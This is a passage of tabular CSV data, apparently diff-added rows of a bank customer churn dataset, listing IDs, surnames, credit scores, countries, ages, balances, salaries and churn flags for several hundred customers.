+5740,15695872,Fiorentini,712,France,Female,30,1,89571.59,1,1,1,177613.19,0 +5741,15568885,Scott,620,Germany,Female,34,8,102251.57,1,1,0,120672.09,0 +5742,15725036,Jideofor,709,France,Male,42,9,118546.71,1,0,1,77142.85,0 +5743,15632665,Yevseyev,832,France,Male,61,2,0,1,0,1,127804.66,1 +5744,15571476,Kelly,635,Spain,Male,38,0,103257.14,1,0,0,158344.63,0 +5745,15776850,Smith,749,Spain,Female,43,1,124209.02,1,1,1,167179.48,0 +5746,15623649,Ogle,629,Spain,Male,32,3,0,2,1,1,15404.64,0 +5747,15751131,Moss,836,Spain,Female,41,7,150302.84,1,1,1,156036.19,0 +5748,15688128,Loggia,542,Spain,Male,34,8,108653.93,1,0,1,144725.14,0 +5749,15678412,Nwankwo,645,France,Female,45,8,85325.93,1,0,0,22558.74,0 +5750,15770291,Allan,844,France,Female,29,8,0,2,0,0,147342.03,0 +5751,15583392,Woronoff,747,Germany,Male,37,9,135776.36,3,1,0,85470.45,1 +5752,15690731,Wolfe,645,France,Male,40,6,131411.24,1,1,1,194656.11,0 +5753,15697948,Henderson,752,Spain,Female,36,3,0,2,1,1,48505.1,0 +5754,15608328,Sutherland,760,Spain,Female,41,6,0,2,0,0,101491.23,0 +5755,15766378,Marsden,714,Germany,Female,45,9,106431.97,2,1,1,164117.69,0 +5756,15600813,Hyde,717,France,Male,50,9,90305.76,1,1,1,124626.57,0 +5757,15706217,Kao,645,Germany,Male,28,7,117466.03,2,1,1,34490.06,0 +5758,15601417,T'ang,681,France,Male,32,3,148884.47,2,1,1,90967.37,0 +5759,15610972,Crawford,681,Germany,Female,44,4,91115.76,2,0,0,24208.84,1 +5760,15674620,Dilibe,679,Germany,Female,37,8,77373.87,2,0,1,174873.09,0 +5761,15785350,Austin,528,Spain,Male,23,7,104744.89,1,1,0,170262.97,0 +5762,15749119,Santiago,710,France,Female,31,3,0,2,1,1,112289.06,0 +5763,15756535,Chibugo,733,Germany,Male,39,5,91538.51,1,1,1,93783,0 +5764,15700965,Toscano,724,France,Female,32,6,0,2,1,1,150026.79,0 +5765,15791851,Afanasyeva,726,France,Female,34,0,185734.75,1,1,1,102036.82,0 +5766,15717156,Sokolov,520,France,Male,30,3,143396.54,2,1,1,898.51,0 +5767,15740846,Wei,556,France,Male,40,5,125909.85,1,1,1,95124.4,0 +5768,15573284,Olisanugo,579,France,Female,45,2,0,2,0,0,11514.39,0 +5769,15729083,Gorman,674,France,Male,36,2,154525.7,1,0,1,27468.72,0 +5770,15611612,Priestley,570,France,Female,29,0,0,1,1,0,37092.43,0 +5771,15694381,Lloyd,631,France,Male,51,8,100654.8,1,1,0,171587.9,0 +5772,15651737,Salmond,623,Spain,Male,44,1,83325.77,1,0,1,80828.78,0 +5773,15663168,MacDonald,665,France,Male,35,8,110934.54,1,1,0,169287.99,0 +5774,15643426,Robertson,523,Spain,Female,36,8,113680.54,1,0,0,13197.44,0 +5775,15618245,Chukwumaobim,706,Germany,Male,31,1,117020.08,2,1,0,54439.53,0 +5776,15717527,Ifeanacho,619,France,Female,49,9,145359.99,1,1,0,38186.85,0 +5777,15793478,Li Fonti,593,Germany,Female,39,8,151391.68,1,1,0,27274.6,1 +5778,15642248,Ko,608,Spain,Male,66,8,123935.35,1,1,1,65758.19,0 +5779,15640377,Goloubev,526,France,Female,36,0,0,2,1,0,97767.63,0 +5780,15723950,Kruglov,684,Spain,Male,40,2,70291.02,1,1,1,115468.84,1 +5781,15590327,Liao,604,Germany,Female,42,10,166031.45,1,1,0,98293.14,0 +5782,15706199,White,636,Germany,Male,36,6,96643.32,1,0,0,182059.28,0 +5783,15671514,Sinclair,669,Spain,Female,33,8,0,2,0,1,128538.05,0 +5784,15727041,Fiorentini,624,France,Male,71,7,0,2,1,1,108841.83,0 +5785,15738063,Shen,631,France,Male,29,2,0,2,1,1,18581.84,0 +5786,15711733,Rapuokwu,753,France,Male,48,4,0,2,0,1,146821.42,0 +5787,15652320,Woronoff,588,France,Male,40,5,0,2,0,0,100727.68,0 +5788,15634180,Holden,729,Germany,Male,26,4,97268.1,2,1,0,39356.38,0 +5789,15694566,Roberts,602,France,Female,42,10,0,2,0,0,169921.11,1 +5790,15726103,Tsou,689,Germany,Female,55,1,76296.81,1,1,0,42364.75,1 +5791,15646351,Somerville,486,Spain,Male,27,7,0,2,1,0,28823.04,0 +5792,15730044,Greco,809,Germany,Female,42,6,64497.94,3,0,1,182436.81,1 +5793,15795186,Leonard,562,France,Male,38,5,0,1,1,0,115700.2,0 +5794,15784890,McKenzie,763,Spain,Female,32,8,0,2,1,0,16725.53,0 +5795,15694125,McElhone,669,France,Male,57,5,0,2,1,1,56875.76,0 +5796,15565891,Dipietro,709,France,Male,39,8,0,2,1,0,56214.09,0 +5797,15674254,Kerr,554,Spain,Female,45,4,0,2,1,1,193412.05,0 +5798,15775206,Hunter,699,France,Male,37,10,0,2,0,0,83263.04,0 +5799,15797627,Niehaus,732,Spain,Male,54,0,134249.7,1,0,1,13404.4,0 +5800,15649853,Craig,625,France,Female,45,3,0,1,1,1,184474.15,1 +5801,15610379,Barclay-Harvey,599,France,Male,30,9,105443.68,1,1,1,121124.53,0 +5802,15659800,Teng,584,Spain,Female,50,1,0,1,0,1,152567.75,1 +5803,15716236,Milani,499,France,Male,35,10,0,2,1,0,10722.54,0 +5804,15672053,Mistry,526,Spain,Male,38,2,0,2,0,0,58010.98,0 +5805,15663933,Jamieson,625,Germany,Female,35,5,86147.46,2,1,0,163440.8,1 +5806,15814236,Kay,537,Spain,Female,38,1,96939.06,1,1,1,102606.92,0 +5807,15583597,Ikedinachukwu,696,Spain,Male,47,1,106758.6,1,1,1,80591.18,0 +5808,15607395,Holt,679,France,Female,33,9,112528.65,2,1,0,177362.45,0 +5809,15694556,Nkemakolam,684,France,Male,60,2,116563.58,1,1,0,120257.7,1 +5810,15744109,Hartung,850,France,Male,32,4,0,1,1,1,180622.02,0 +5811,15800688,Ch'en,495,Spain,Female,42,7,0,2,0,0,130404.53,0 +5812,15810878,Baker,537,Spain,Female,38,6,141786.78,1,0,1,147797.54,0 +5813,15587835,Osinachi,850,France,Male,41,3,136416.82,1,0,1,57844.26,0 +5814,15763515,Shih,513,France,Male,30,5,0,2,1,0,162523.66,0 +5815,15725882,Feng,618,Germany,Female,40,1,133245.52,2,1,1,54495.82,0 +5816,15788022,Sternberg,802,Germany,Female,41,4,90757.64,2,0,1,169183.66,0 +5817,15663917,Adams,547,France,Male,43,1,92350.36,1,0,1,80262.91,0 +5818,15656865,Gray,613,Germany,Male,69,9,78778.49,1,0,1,8751.59,0 +5819,15667971,Shepherd,592,Germany,Female,34,6,102143.93,2,1,1,102628.98,0 +5820,15800366,Walton,546,France,Male,29,5,0,1,1,1,94823.95,0 +5821,15717231,Yang,721,Germany,Male,37,4,98459.6,1,0,0,90821.66,0 +5822,15643188,Barnett,671,Germany,Female,47,7,114603.76,2,1,0,153194.32,1 +5823,15671351,Romani,624,Spain,Male,35,2,0,2,1,0,87310.59,0 +5824,15573628,Greene,751,Germany,Female,51,7,148074.79,1,1,0,146411.41,1 +5825,15698953,Hart,636,Spain,Male,36,1,0,3,1,1,74048.1,1 +5826,15753888,Johnston,607,Spain,Female,62,8,108004.64,1,1,1,23386.77,1 +5827,15737961,Miller,509,Germany,Female,29,0,107712.57,2,1,1,92898.17,0 +5828,15801701,Robson,653,Spain,Male,35,9,0,2,1,1,45956.05,0 +5829,15684419,Wallace,709,Spain,Female,37,8,0,3,1,0,71738.56,0 +5830,15794266,Cross,559,France,Male,32,9,145303.52,1,1,0,103560.98,0 +5831,15810711,Marcum,684,Germany,Male,37,4,138476.41,2,1,1,52367.29,0 +5832,15771270,North,635,France,Female,27,8,127471.56,1,1,1,152916.05,1 +5833,15607786,Mao,709,France,Male,26,6,156551.63,1,0,1,4410.77,0 +5834,15624519,Calabrese,656,Germany,Female,49,9,97092.87,1,1,0,74771.22,1 +5835,15799910,Martin,793,France,Male,32,2,0,2,1,0,193817.63,1 +5836,15602479,Fleming,609,Spain,Male,37,5,129312.79,1,1,1,26793.82,0 +5837,15617419,Roberts,618,Germany,Female,29,10,100315.1,2,1,1,32526.64,0 +5838,15657603,Finch,850,France,Female,35,6,81684.97,1,1,0,824,0 +5839,15570379,Whitelegge,669,Spain,Male,51,3,88827.53,1,0,0,85250.77,1 +5840,15772996,Rooke,594,Germany,Male,40,0,152092.44,2,1,1,83508.93,0 +5841,15729574,Lu,616,Spain,Male,71,4,0,2,1,1,173599.38,0 +5842,15737267,Marcelo,676,France,Female,49,1,0,1,1,0,79342.31,1 +5843,15799128,Matthews,608,Spain,Female,38,9,102406.76,1,0,1,57600.66,0 +5844,15813327,Romani,710,France,Male,21,4,109130.96,2,1,1,56191.99,0 +5845,15711921,Scott,695,France,Male,29,5,0,2,1,1,6770.44,0 +5846,15654300,Mao,530,Germany,Male,33,9,75242.28,1,0,1,101694.67,0 +5847,15569945,Horsley,509,Spain,Male,29,1,0,2,1,0,69113.14,0 +5848,15569666,Goddard,517,France,Female,45,4,0,1,0,0,172674.36,1 +5849,15681887,Eskridge,758,Germany,Male,33,0,129142.54,2,1,1,26606.28,0 +5850,15608873,Smith,665,France,Male,51,2,0,1,0,0,53353.36,0 +5851,15762091,Simpson,631,Germany,Female,22,6,139129.92,1,1,1,63747.51,0 +5852,15722053,Oguejiofor,576,Spain,Male,33,3,0,2,0,1,190112.05,0 +5853,15782100,Holloway,544,Spain,Male,22,3,66483.32,1,0,1,110317.39,0 +5854,15765300,L?,596,Germany,Male,40,5,62389.03,3,1,0,148623.43,1 +5855,15743570,Feng,481,France,Female,34,5,0,2,1,1,125253.46,0 +5856,15608541,Claiborne,498,France,Male,46,1,91857.66,1,1,0,101954.78,1 +5857,15750671,Egobudike,512,Spain,Male,31,6,0,2,1,0,168462.26,0 +5858,15813659,Folliero,594,France,Female,56,7,0,1,1,0,26215.85,1 +5859,15757867,Bray,570,France,Female,30,10,176173.52,1,1,0,97045.32,1 +5860,15652914,Ibrahimov,721,Spain,Male,38,7,0,1,0,1,53534.8,0 +5861,15723818,Carpenter,453,France,Female,37,4,131834.76,2,1,0,8949.2,0 +5862,15713819,Walsh,562,France,Male,48,3,92347.96,1,1,1,163116.75,0 +5863,15656484,Woods,682,France,Male,40,4,0,2,1,1,140745.91,0 +5864,15778515,Wu,748,France,Male,40,3,95297.11,1,0,0,171515.84,0 +5865,15803840,Forbes,729,France,Female,32,9,0,2,0,0,150803.44,0 +5866,15735339,Lynch,663,France,Male,39,4,0,1,1,0,76884.05,0 +5867,15600392,Amaechi,735,France,Female,53,8,123845.36,2,0,1,170454.93,1 +5868,15625740,Enriquez,627,Germany,Male,62,3,143426.34,2,1,1,143104.3,0 +5869,15663817,Y?an,713,France,Male,46,5,0,1,1,1,55701.62,0 +5870,15734461,Brooks,562,Germany,Male,31,2,112708.2,1,0,1,186370.3,0 +5871,15780142,Wang,632,France,Male,43,2,100013.51,1,1,0,24275.32,0 +5872,15709920,Burke,479,France,Female,33,2,208165.53,1,0,0,50774.81,1 +5873,15684248,Meng,658,Spain,Male,21,7,0,2,0,1,154279.87,0 +5874,15643158,Chiganu,598,France,Female,40,9,0,1,1,0,68462.59,1 +5875,15693902,Hunt,597,France,Male,19,2,0,2,1,1,91036.74,0 +5876,15578307,Lucchese,512,France,Female,33,6,121685.31,2,1,1,83681.97,0 +5877,15585379,Humphries,704,France,Male,39,2,111525.02,1,1,0,199484.96,0 +5878,15758510,Frolova,474,France,Male,26,6,0,2,0,0,152491.22,0 +5879,15692918,Hsing,604,Germany,Male,36,10,113546.3,1,1,1,134875.37,0 +5880,15705301,Parkes,683,France,Male,41,6,95696.52,2,1,1,184366.14,0 +5881,15718231,Gregory,537,France,Male,28,0,88963.31,2,1,1,189839.93,0 +5882,15567991,Obiuto,794,Spain,Male,31,0,144880.34,2,0,1,175643.44,0 +5883,15772650,Longo,732,France,Male,55,9,136576.02,1,0,1,3268.17,1 +5884,15574795,Lombardo,495,France,Female,38,2,63093.01,1,1,1,47089.72,0 +5885,15706036,Lombardo,552,Germany,Male,38,10,132271.12,2,1,1,46562.02,0 +5886,15723856,Gonzalez,602,France,Female,29,3,88814.4,2,1,1,62487.97,0 +5887,15812920,Nwabugwu,607,Germany,Male,40,5,90594.55,1,0,1,181598.25,0 +5888,15691287,Ford,675,Germany,Female,33,0,141816.25,1,1,0,64815.05,1 +5889,15804797,Gilleland,443,France,Female,54,3,138547.97,1,1,1,70196.23,1 +5890,15708650,Fullwood,727,France,Female,31,2,52192.08,2,0,1,160383.47,0 +5891,15712777,Kao,482,France,Male,38,4,124976.19,1,1,0,35848.12,0 +5892,15786469,Montalvo,686,France,Female,34,1,0,2,1,0,87278.48,0 +5893,15669219,Wilson,588,Germany,Male,35,3,104356.38,1,1,0,94498.82,0 +5894,15641004,Doyne,605,Spain,Female,48,10,150315.92,1,0,1,133486.36,0 +5895,15648067,Onwuamaeze,583,France,Male,39,1,129299.28,2,1,0,73107.6,0 +5896,15704014,K'ung,738,Germany,Male,37,7,140950.92,2,1,0,195333.98,0 +5897,15645136,O'Donnell,744,Spain,Male,30,1,128065.12,1,1,0,121525.48,0 +5898,15709604,McMillan,781,France,Male,23,2,107433.48,1,1,0,173843.21,0 +5899,15713637,Chinedum,699,France,Male,34,2,117468.67,1,1,0,185227.42,0 +5900,15793901,Capon,639,France,Female,27,2,0,2,0,0,125244.18,0 +5901,15569759,Rawling,583,France,Female,27,4,0,3,1,0,163113.41,0 +5902,15712930,Duncan,587,France,Male,42,1,0,1,0,0,123006.91,0 +5903,15586504,Trevisani,694,France,Male,40,9,0,2,1,0,40463.03,0 +5904,15677317,Ankudinova,570,France,Female,29,4,153040.03,1,1,1,131363.57,1 +5905,15664270,Balsillie,692,Germany,Male,45,6,142084.04,4,1,0,188305.85,1 +5906,15731519,Kerr,511,France,Female,30,5,0,2,1,0,143994.86,0 +5907,15745623,Worsnop,788,France,Male,32,4,112079.58,1,0,0,89368.59,0 +5908,15813862,Yevseyev,526,Spain,Male,66,7,132044.6,2,1,1,158365.89,0 +5909,15641934,Manna,749,Spain,Female,46,9,66582.81,1,1,0,78753.12,1 +5910,15713043,Siciliani,691,France,Female,33,6,0,2,1,1,100408.31,0 +5911,15700749,Powell,481,France,Female,39,6,0,1,1,1,24677.54,0 +5912,15697567,Bazarova,752,France,Male,33,4,0,2,1,1,39570.78,0 +5913,15715414,White,658,France,Female,38,6,102895.1,1,0,0,155665.76,0 +5914,15639530,Buda,679,Spain,Male,42,2,0,1,1,1,168294.27,0 +5915,15726058,Cattaneo,754,Germany,Male,27,7,117578.35,2,0,1,87908.01,0 +5916,15725665,Lo,679,France,Male,47,10,198546.1,2,1,0,191198.92,1 +5917,15698872,Brown,633,Spain,Female,39,2,0,2,0,0,191207.03,0 +5918,15812184,Rose,674,France,Female,31,1,0,1,1,0,128954.05,0 +5919,15742609,Lombardo,600,Germany,Male,28,2,116623.31,1,0,1,59905.29,0 +5920,15815043,McMillan,645,Spain,Male,49,8,0,2,1,0,162012.6,0 +5921,15640648,Howe,698,France,Male,36,6,0,2,0,1,19231.98,0 +5922,15627203,Hsu,508,Spain,Male,54,10,0,1,1,1,175749.36,0 +5923,15786196,Han,555,France,Female,44,3,105770.7,3,1,0,60533.96,1 +5924,15612095,Calabrese,751,France,Female,48,9,0,1,1,0,137508.42,1 +5925,15674368,Riley,738,France,Female,39,1,94435.45,2,0,1,189430.86,0 +5926,15783477,Biryukov,706,Germany,Female,39,8,112889.91,1,0,1,6723.66,0 +5927,15757559,Broadhurst,595,France,Female,53,7,0,2,1,0,41371.68,1 +5928,15591036,Genovesi,577,Germany,Female,43,3,127940.47,1,0,0,125140.72,1 +5929,15761241,Hsieh,578,Germany,Female,36,8,129745.1,1,1,1,143683.75,0 +5930,15695078,Kemp,699,France,Male,32,3,0,2,1,1,170770.44,0 +5931,15645744,Chukwudi,826,France,Female,30,5,0,2,0,1,157397.57,0 +5932,15566988,Iqbal,656,Germany,Female,46,7,141535.52,1,1,0,50595.15,1 +5933,15749300,Teng,556,France,Female,47,2,139914.27,1,1,1,50390.98,0 +5934,15594340,Tao,569,France,Male,41,4,120243.49,1,1,0,163150.03,1 +5935,15607065,Chinedum,765,France,Male,34,9,91835.16,1,0,0,138280.17,0 +5936,15778089,Stevenson,544,Spain,Male,37,2,0,2,0,0,135067.02,0 +5937,15773723,Duncan,588,Spain,Female,22,9,67178.19,1,1,1,163534.75,1 +5938,15697035,Garrett,740,Spain,Female,31,8,0,2,0,0,86657.48,0 +5939,15679668,Yao,850,Spain,Male,38,7,115378.94,1,0,1,162087.82,0 +5940,15709861,He,766,Germany,Male,30,4,127786.28,2,1,1,28879.3,0 +5941,15791958,Mazzi,849,France,Female,41,6,0,2,1,1,169203.51,1 +5942,15791030,Edwards,612,France,Female,33,0,64900.32,2,1,0,102426.12,0 +5943,15695339,Lucchesi,517,Germany,Male,53,0,109172.88,1,1,0,54676.1,1 +5944,15658813,Siciliani,645,France,Female,55,7,0,2,1,1,18369.33,0 +5945,15715709,Shih,696,Germany,Male,43,4,114091.38,1,0,1,159888.1,0 +5946,15722533,Logue,716,France,Female,40,3,0,2,0,1,167636.15,0 +5947,15683118,Rechner,590,France,Male,32,9,0,2,1,0,138889.15,0 +5948,15672798,O'Brien,656,France,Female,45,7,145933.27,1,1,1,199392.14,0 +5949,15680112,Stewart,473,Germany,Female,35,7,131504.73,1,1,0,189560.43,0 +5950,15714575,Batt,742,Germany,Female,44,8,107926.02,1,0,1,17375.27,1 +5951,15806808,Hope,834,Germany,Female,57,8,112281.6,3,1,0,140225.14,1 +5952,15590637,Ahmed,721,France,Male,41,7,0,2,0,1,61018.85,0 +5953,15657535,Pearson,590,Spain,Male,29,10,0,1,1,1,51907.72,1 +5954,15696141,Kruglov,516,Spain,Female,31,7,0,1,1,0,47018.75,0 +5955,15811947,Gordon,850,France,Male,33,0,124781.67,1,0,1,33700.52,0 +5956,15649024,Trujillo,748,France,Female,39,9,132865.56,1,1,1,59636.43,1 +5957,15594928,Pagnotto,798,Germany,Female,38,4,129055.13,1,1,0,157147.59,0 +5958,15765532,Horton,612,Germany,Male,76,6,96166.88,1,1,1,191393.26,0 +5959,15741719,DeRose,540,France,Female,40,3,165298.12,1,0,1,199862.75,0 +5960,15665629,Chiang,719,Spain,Female,33,7,0,2,1,0,20016.59,0 +5961,15728917,Gill,598,France,Male,48,6,120682.53,1,1,0,30635.52,1 +5962,15762993,Trevisano,796,Spain,Male,32,5,102773.15,2,0,1,117832.88,0 +5963,15571193,Morrison,579,Germany,Male,42,0,144386.32,1,1,1,22497.1,1 +5964,15653521,Onuora,850,Germany,Female,40,7,104449.8,1,1,1,747.88,0 +5965,15802220,Ikenna,599,Spain,Male,35,6,137102.65,1,0,0,76870.81,0 +5966,15644132,Mancini,724,France,Female,30,9,142475.87,1,1,1,107848.24,0 +5967,15600832,Moss,508,France,Female,43,9,0,1,1,0,103726.71,0 +5968,15797919,Ting,773,Spain,Male,37,2,103195.2,2,1,0,178268.36,0 +5969,15603743,Tai,526,France,Male,28,1,112070.44,1,0,1,126281.83,0 +5970,15579714,Pan,542,France,Female,29,7,0,2,0,1,196651.72,0 +5971,15634295,Wilson,470,France,Male,35,1,96473.59,1,0,0,5962.3,0 +5972,15786680,Bianchi,805,Spain,Male,37,5,0,2,1,0,21928.81,0 +5973,15623499,Holman,548,Germany,Male,49,9,108437.89,1,0,0,127022.87,1 +5974,15691823,Obidimkpa,672,France,Male,37,5,153195.59,1,1,1,162763.01,0 +5975,15809279,Wallace,773,France,Male,45,8,96877.21,1,1,1,113950.51,0 +5976,15758039,Ash,614,France,Male,44,6,0,2,0,1,104930.46,0 +5977,15807163,Ku,537,France,Female,38,10,0,1,0,0,52337.97,1 +5978,15631639,Uspensky,704,France,Female,40,6,95452.89,1,0,1,179964.55,0 +5979,15713770,Shih,586,Spain,Male,41,3,63873.56,1,1,0,83753.64,0 +5980,15698167,Kumm,677,France,Female,24,0,148298.59,2,0,0,182913.95,0 +5981,15781710,Carey,558,Spain,Female,31,7,0,2,1,0,166720.28,0 +5982,15801296,Farber,634,Germany,Female,37,7,143258.85,2,1,0,192721.98,0 +5983,15704378,Calabrese,655,Germany,Male,37,9,121342.24,1,1,1,180241.44,0 +5984,15767891,Findlay,619,Germany,Female,28,6,99152.73,2,1,0,48475.12,0 +5985,15640667,Yu,662,France,Female,41,4,0,2,1,0,126551.48,0 +5986,15702145,Edments,705,Spain,Male,33,7,68423.89,1,1,1,64872.55,0 +5987,15679738,Brown,527,Spain,Female,35,8,0,1,1,0,98031.53,1 +5988,15636634,Lindon,630,Germany,Female,25,7,79656.81,1,1,0,93524.22,0 +5989,15809227,Chukwudi,850,France,Male,35,2,0,2,1,1,56991.66,0 +5990,15601811,Caldwell,668,France,Female,53,10,110240.04,1,0,0,183980.56,1 +5991,15625494,Li Fonti,573,France,Female,32,9,125321.84,2,1,1,130234.63,0 +5992,15723737,Pitcher,680,France,Male,27,3,0,1,1,0,32454.26,0 +5993,15682955,Capon,758,France,Female,32,2,84378.9,1,1,1,75396.43,0 +5994,15758856,Kable,597,France,Male,45,7,0,2,0,0,167756.45,0 +5995,15746065,Lo Duca,580,Germany,Male,35,10,136281.41,2,1,1,24799.47,0 +5996,15783865,Kulikova,622,France,Male,59,5,119380.37,1,1,1,60429.43,0 +5997,15745455,Navarrete,638,Germany,Male,62,4,108716.59,2,1,1,74241.09,0 +5998,15583033,Huguley,640,France,Female,20,4,0,2,0,1,78310.82,0 +5999,15644212,Han,644,Spain,Male,28,0,0,2,1,0,119419.37,0 +6000,15735688,Horsley,753,France,Female,31,6,106596.29,1,0,0,91305.77,0 +6001,15658577,Massie,629,France,Female,37,10,99546.25,3,0,1,25136.95,1 +6002,15606887,Singh,775,France,Female,30,5,0,1,1,0,193880.6,1 +6003,15783026,H?,701,France,Female,41,2,0,1,1,0,47856.78,0 +6004,15579892,Doyle,708,Spain,Male,19,7,112615.86,1,1,1,4491.77,0 +6005,15802088,Grant,521,Spain,Female,22,10,0,1,1,1,101311.95,0 +6006,15589323,Law,636,France,Female,24,9,0,2,0,1,38830.72,0 +6007,15636395,King,529,France,Female,31,5,0,2,1,0,26817.23,0 +6008,15712772,Onwubiko,757,France,Male,28,3,75381.15,1,1,1,199727.72,0 +6009,15700937,Romano,767,Spain,Female,24,5,0,2,1,1,67445.85,0 +6010,15766659,Okwudilichukwu,525,Spain,Male,33,5,0,2,1,0,161002.29,0 +6011,15814033,Milano,759,Spain,Male,38,1,0,2,1,0,20778.39,0 +6012,15783007,Parker,520,Germany,Female,45,1,123086.39,1,1,1,41042.4,1 +6013,15654183,Aitken,738,France,Female,26,3,0,2,1,0,67484.16,0 +6014,15609899,Obiora,548,Spain,Male,37,4,0,1,1,0,121763.68,0 +6015,15747323,Vasilyeva,535,Spain,Male,48,9,109472.47,1,1,0,157358.43,1 +6016,15582591,Chiabuotu,615,Spain,Male,59,4,155766.05,1,1,1,110275.17,0 +6017,15738835,Slater,850,Germany,Male,38,7,101985.81,2,0,0,43801.27,0 +6018,15782404,Hughes,487,France,Female,34,2,96019.5,1,0,0,9085,0 +6019,15697480,Menkens,731,France,Male,30,7,0,2,0,1,143086.09,0 +6020,15697045,Pisani,726,Spain,Female,35,9,0,2,0,1,100556.98,0 +6021,15781234,Y?an,609,France,Female,35,2,147900.43,1,1,0,140000.29,0 +6022,15579891,Milani,714,France,Male,52,4,100755.66,1,1,1,186775.25,0 +6023,15805690,Chin,694,Spain,Female,35,7,0,1,1,0,133570.43,1 +6024,15612139,Fu,786,France,Female,33,0,83036.05,1,0,1,154990.58,1 +6025,15568834,Howells,698,Spain,Male,27,6,125427.37,2,0,0,27654.44,0 +6026,15709917,Ni,601,France,Female,46,3,98202.76,1,0,0,137763.93,0 +6027,15718843,Maslova,769,Spain,Male,41,1,72509.91,1,1,0,25723.73,0 +6028,15799494,Forster,850,Germany,Male,44,3,140393.65,2,0,1,186285.52,0 +6029,15673439,Sun,646,Spain,Female,50,5,142644.64,2,1,1,142208.5,1 +6030,15669011,Bocharova,659,France,Female,44,9,23503.31,1,0,1,169862.01,1 +6031,15581388,Y?an,487,Spain,Male,33,8,145729.71,1,1,0,41365.85,0 +6032,15743153,Singh,740,Germany,Female,40,2,122295.17,2,1,1,30812.84,0 +6033,15579787,Nkemakonam,686,France,Male,39,4,0,2,1,0,155023.93,0 +6034,15759966,Chiemenam,612,Spain,Female,36,5,119799.27,2,1,0,159416.58,0 +6035,15601045,Angelo,655,Spain,Male,37,8,163708.58,2,0,0,76259.23,0 +6036,15764021,Frolov,617,France,Male,34,1,61687.33,2,1,0,105965.25,0 +6037,15687218,West,674,France,Female,27,4,79144.34,1,0,1,50743.83,0 +6038,15626452,Beatham,711,Spain,Male,32,5,0,2,1,1,147720.27,0 +6039,15700964,Pollard,624,Germany,Female,27,7,104848.68,1,1,1,167387.36,0 +6040,15768887,Hsing,597,Spain,Male,26,5,0,2,0,1,95159.13,0 +6041,15735358,Dowse,682,Spain,Male,46,4,0,1,1,1,4654.28,0 +6042,15749472,Lucciano,775,France,Male,45,8,0,1,1,0,130376.68,0 +6043,15685872,Godfrey,727,France,Female,29,1,146652.01,1,1,1,173486.39,0 +6044,15760851,Gratton,629,France,Male,31,6,0,2,1,0,93881.75,0 +6045,15734588,Manning,684,France,Male,46,0,0,2,1,1,36376.97,0 +6046,15784594,Mazzi,549,Germany,Female,37,1,130622.34,2,1,1,128499.94,0 +6047,15606435,Wall,593,Germany,Male,69,2,187013.13,2,0,1,105898.69,0 +6048,15790247,Sims,536,Spain,Male,40,9,0,2,1,1,11959.03,0 +6049,15676433,Allan,707,France,Female,36,6,0,1,0,0,98810.78,0 +6050,15625905,Griffen,592,Spain,Male,41,0,0,2,1,0,65906.07,0 +6051,15626414,Russell,703,France,Male,44,6,98862.54,1,1,0,151516.7,0 +6052,15623220,Brown,723,Spain,Female,45,4,0,2,1,0,37214.39,0 +6053,15752857,Palerma,452,Germany,Male,52,1,98443.14,2,0,0,92033.98,0 +6054,15677908,Gilbert,552,Spain,Male,42,4,0,2,0,0,195692.3,0 +6055,15773013,Uvarov,633,France,Female,47,0,0,1,1,1,6342.84,1 +6056,15623972,Wisdom,479,Germany,Female,23,9,123575.51,1,0,1,95148.28,0 +6057,15738627,Hussain,768,France,Male,25,6,0,2,1,1,21215.67,0 +6058,15643392,Woods,742,France,Male,31,4,105239.1,1,1,1,19700.24,0 +6059,15684868,Cameron,668,Germany,Male,56,9,110993.79,1,1,0,134396.64,1 +6060,15627854,Mai,707,Spain,Male,44,3,0,2,1,1,135077.01,0 +6061,15669253,Gibson,754,Spain,Male,39,7,157691.98,2,1,0,133600.89,1 +6062,15758023,Grigoryeva,544,Germany,Male,47,5,105245.21,1,0,0,99922.08,1 +6063,15574558,Gunter,718,Spain,Male,32,8,0,2,1,1,41399.33,0 +6064,15635256,Arcuri,762,France,Male,31,7,117687.35,1,1,1,159344.43,0 +6065,15680399,Tung,772,France,Male,23,2,0,2,1,0,18364.19,0 +6066,15674720,Smith,691,Germany,Female,37,7,123067.63,1,1,1,98162.44,1 +6067,15580249,Lori,502,France,Male,45,0,0,1,0,0,84663.21,0 +6068,15675431,Chidimma,563,France,Female,34,6,0,2,0,0,36536.93,0 +6069,15698285,Ting,676,France,Female,41,4,101457.14,1,1,1,79101.67,0 +6070,15810775,Tsao,576,Spain,Male,52,2,100549.43,2,1,1,16644.16,0 +6071,15678173,Collee,629,Spain,Male,35,4,174588.8,2,0,1,158420.14,0 +6072,15665222,Lettiere,625,Spain,Male,52,8,121161.57,1,1,0,48988.28,0 +6073,15803908,Fu,628,France,Male,45,9,0,2,1,1,96862.56,0 +6074,15586039,Bergamaschi,471,Germany,Female,36,5,90063.74,2,1,1,96366.7,0 +6075,15802570,Dyer,811,France,Female,45,5,0,2,1,1,146123.19,0 +6076,15781451,Buccho,504,France,Male,42,3,134936.97,2,0,0,135178.91,0 +6077,15721019,Jones,687,France,Female,24,3,110495.27,1,1,0,158615.41,0 +6078,15738588,Nebechi,660,Germany,Female,37,2,133200.09,1,0,0,71433.88,0 +6079,15730657,Ibekwe,548,France,Female,41,4,82596.8,1,0,1,55672.09,0 +6080,15739292,Gorshkov,609,Germany,Male,31,9,103837.75,1,1,1,150218.11,0 +6081,15725945,Nweke,659,Spain,Female,42,2,0,1,0,0,162734.31,1 +6082,15813159,Hairston,526,France,Male,52,8,93590.47,1,0,1,21228.71,1 +6083,15636820,Loggia,725,Germany,Male,40,8,104149.66,1,1,0,62027.9,0 +6084,15603880,Morgan,519,Germany,Male,38,1,114141.64,1,1,1,60988.21,1 +6085,15619494,Abdulov,562,Germany,Female,31,9,117153,1,1,1,108675.01,0 +6086,15596992,Norris,482,Germany,Male,45,7,156353.46,1,1,0,72643.95,1 +6087,15735025,Clark,535,Spain,Male,37,3,175534.78,2,1,1,9241.52,0 +6088,15730759,Chukwudi,561,France,Female,27,9,135637,1,1,0,153080.4,1 +6089,15752912,Perkin,661,France,Female,30,7,0,2,1,0,72196.57,0 +6090,15711316,Ch'ang,771,France,Male,27,2,0,2,1,1,199527.34,0 +6091,15738785,Kang,545,France,Male,26,7,0,2,0,1,156598.23,0 +6092,15777896,Chukwudi,850,Germany,Female,33,2,83415.04,1,0,1,74917.64,0 +6093,15628963,Frolova,601,Germany,Male,43,3,141859.12,2,1,1,111249.62,0 +6094,15742126,Chiu,712,Germany,Male,38,7,132767.66,2,1,1,59115.77,0 +6095,15575623,Simpson,589,France,Female,31,10,110635.32,1,1,0,148218.86,0 +6096,15741652,McLean,600,Spain,Male,37,8,177657.35,1,1,1,77142.32,0 